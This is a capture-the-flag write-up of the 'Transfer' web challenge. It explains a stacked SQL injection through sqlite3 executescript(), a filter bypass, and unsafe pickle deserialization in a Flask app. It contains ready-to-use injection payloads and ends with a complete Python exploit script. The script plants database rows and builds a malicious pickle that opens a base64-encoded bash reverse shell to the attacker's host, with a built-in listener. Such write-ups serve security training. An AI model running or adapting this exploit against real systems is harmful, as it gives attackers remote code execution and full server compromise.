Transfer

Category: Web

Pickle, SQLite3, SQL Injection, Flask

Description

Author: @JohnHammond#6971

Inspired by current events! :D
Escalate your privileges and find the flag.

Analysis

Structure

app.py
requirements.txt
├ templates/
├── files.html
├── login.html
                                                         

SQL Injection

app.py
@app.route('/login', methods=['POST'])
def login_user():
    username = DBClean(request.form['username'])
    password = DBClean(request.form['password'])
    
    conn = get_db()
    c = conn.cursor()

    sql = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    c.executescript(sql)

    user = c.fetchone()
    if user:
        c.execute(f"SELECT sessionid FROM activesessions WHERE username=?", (username,))
        active_session = c.fetchone()
        if active_session:
            session_id = active_session[0]
        else:
            c.execute(f"SELECT username FROM users WHERE username=?", (username,))
            user_name = c.fetchone()
            if user_name:
                session_id = str(uuid.uuid4())
                c.executescript(f"INSERT INTO activesessions (sessionid, timestamp) VALUES ('{session_id}', '{datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')}')")
            else:
                flash("A session could be not be created")
                return logout()
        
        session['username'] = username
        session['session_id'] = session_id
        conn.commit()
        return redirect(url_for('files'))
    else:
        flash('Username or password is incorrect')
        return redirect(url_for('home'))

1. Vulnerability arises from the use of string concatenation to construct the SQL query in the login_user() function. line 9

2. executescript() and execute() methods are both used in Python's sqlite3 to execute SQL statements against an SQLite database. line 10

executescript():

  • Used to execute multiple SQL statements or a complete SQL script at once.

  • It allows the execution of multiple SQL statements separated by semicolons (;) or newlines (\n) in a single call.

  • The executescript() method can handle DDL (Data Definition Language) statements like CREATE TABLE or ALTER TABLE, as well as DML (Data Manipulation Language) statements like INSERT, UPDATE, or DELETE.

  • It returns no result set.

execute():

  • Used to execute a single SQL statement.

  • It is suitable for executing individual SQL statements or parameterized queries.

  • The SQL statement can be a DDL or DML statement, depending on the desired operation.

  • It can return result sets for queries, allowing you to fetch the retrieved data using methods like fetchone(), fetchall(), or fetchmany().

Main difference:

executescript() allow multiple SQL statements in one input string

The DBClean function do wrong filter by removing ' , " and Space . then replacing backslashes to ' .

def DBClean(string):
    for bad_char in " '\"":
        string = string.replace(bad_char,"")
    return string.replace("\\", "'")
    

We can bypass them like this:

'     -> \\
Space -> /**/

After setup local webserver to debug app, flask app will create database on tmp:

DATABASE = '/tmp/database.db'

Table creation statements define the structure for users, active sessions, and files in the database:

app.py line 165-167
c.execute("CREATE TABLE IF NOT EXISTS users (username text, password text)")
 
c.execute("CREATE TABLE IF NOT EXISTS activesessions (sessionid text, username text, timestamp text)")

c.execute("CREATE TABLE IF NOT EXISTS files (filename text PRIMARY KEY, data blob, sessionid text)")

To verify the success of our initial injection payload, we can target the /login endpoint with username POST parameter.

%0a is URL-encoding of a newline

1. Inject user
admin\\;%0aINSERT/**/INTO/**/users/**/(username,password)/**/VALUES/**/(\\admin\\,\\123456789\\);--

Pickle

Used to deserialize a serialized object back into a python object, untrusted pickle data can execute arbitrary code, leading to security vulnerabilities.

Code execution

@app.route('/download/<filename>/<sessionid>', methods=['GET'])
def download_file(filename, sessionid):
    conn = get_db()
    c = conn.cursor()
(*) c.execute(f"SELECT * FROM activesessions WHERE sessionid=?", (sessionid,))
    
    active_session = c.fetchone()
    if active_session is None:
        flash('No active session found')
        return redirect(url_for('home'))
(*) c.execute(f"SELECT data FROM files WHERE filename=?",(filename,))
    
    file_data = c.fetchone()
    if file_data is None:
        flash('File not found')
        return redirect(url_for('files'))

    file_blob = pickle.loads(base64.b64decode(file_data[0]))
    return send_file(io.BytesIO(file_blob), download_name=filename, as_attachment=True)
2. Inject Session ID
admin\\;%0aINSERT/**/INTO/**/activesessions/**/(sessionid,username,/**/timestamp)/**/VALUES/**/(\\admin\\,\\admin\\,\\2023-06-16/**/20:06:55.531553\\);--
3. Inject Data.
admin\\;%0aINSERT/**/INTO/**/files/**/(filename,data,/**/sessionid)/**/VALUES/**/(\\FileName\\,\\PickleBase64Payload\\,\\admin\\);--

Exploit

import pickle, requests ,sys, random, base64, os
import threading, telnetlib, socket


URL, LHOST = sys.argv[1], sys.argv[2].replace(':', '/')

print(f"(+) Target URL: {URL}")
print(f"(+) LHOST: {LHOST}")

ngrok = input("\nDo you use ngrok? | y, n: ")

if ngrok == 'y':
    ngrokPort = input("Which port you specify on ngrok? | ex: 443 : ")
    listnerPort = ngrokPort
else:
    listnerPort = LHOST.rsplit('/', 1)[-1]

def doPickle(payload):
    class PickleRce(object):
        def __reduce__(self):
            return (os.system, (payload,))
    
    return base64.b64encode(pickle.dumps(PickleRce()))

def triggerPayload(filename):
    print("(+) Trigger payload")
    
    headers = {
        'Host': URL,
        'Content-Type': 'application/x-www-form-urlencoded',
    }

    endpoint = f"{URL}/download/{filename}/38"
    print(f"(+) Endpoint: {endpoint}")

    return requests.get(endpoint, headers=headers, verify=False, allow_redirects=False).text

def sendRequest(description, data):
    print(f"(+) {description}")

    headers = {
        'Host': URL,
        'Content-Type': 'application/x-www-form-urlencoded',
    }
    data = f'username={data}&password=1'

    return requests.post(f"{URL}/login", headers=headers, data=data, verify=False, allow_redirects=False).text

def handler(port):

    print(f"(+) Starting handler on port {port}")
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", int(port)))
    s.listen(1)
    conn, addr = s.accept()
    print(f"(+) Got Connection from {addr[0]}")
    t.sock = conn
    print("(+) Silv3r")
    t.interact()

handlerThread = threading.Thread(target=handler, args=(listnerPort,))
handlerThread.start()

payload = "admin\\;%0aINSERT/**/INTO/**/users/**/(username,password)/**/VALUES/**/(\\38\\,\\123456789\\);--"
sendRequest("Create user", payload)

payload = "admin\\;%0aINSERT/**/INTO/**/activesessions/**/(sessionid,username,/**/timestamp)/**/VALUES/**/(\\38\\,\\38\\,\\2023-06-16/**/20:06:55.531553\\);--"
sendRequest("Create session", payload)

randNum = random.randint(10000, 99999)
encodedCommand = base64.b64encode(f'bash -i >& /dev/tcp/{LHOST} 0>&1'.encode('utf-8')).decode('utf-8')
Command = f'echo "{encodedCommand}" | base64 -d | bash '
picklePayload = doPickle(Command).decode('utf-8')
payload = "admin\\;%0aINSERT/**/INTO/**/files/**/(filename,data,/**/sessionid)/**/VALUES/**/(\\REPLACEFILENAME\\,\\REPLACEMEPICKLE\\,\\38\\);--".replace("REPLACEFILENAME", str(randNum)).replace("REPLACEMEPICKLE", picklePayload)
sendRequest("Create file", payload)

triggerPayload(randNum)

Last updated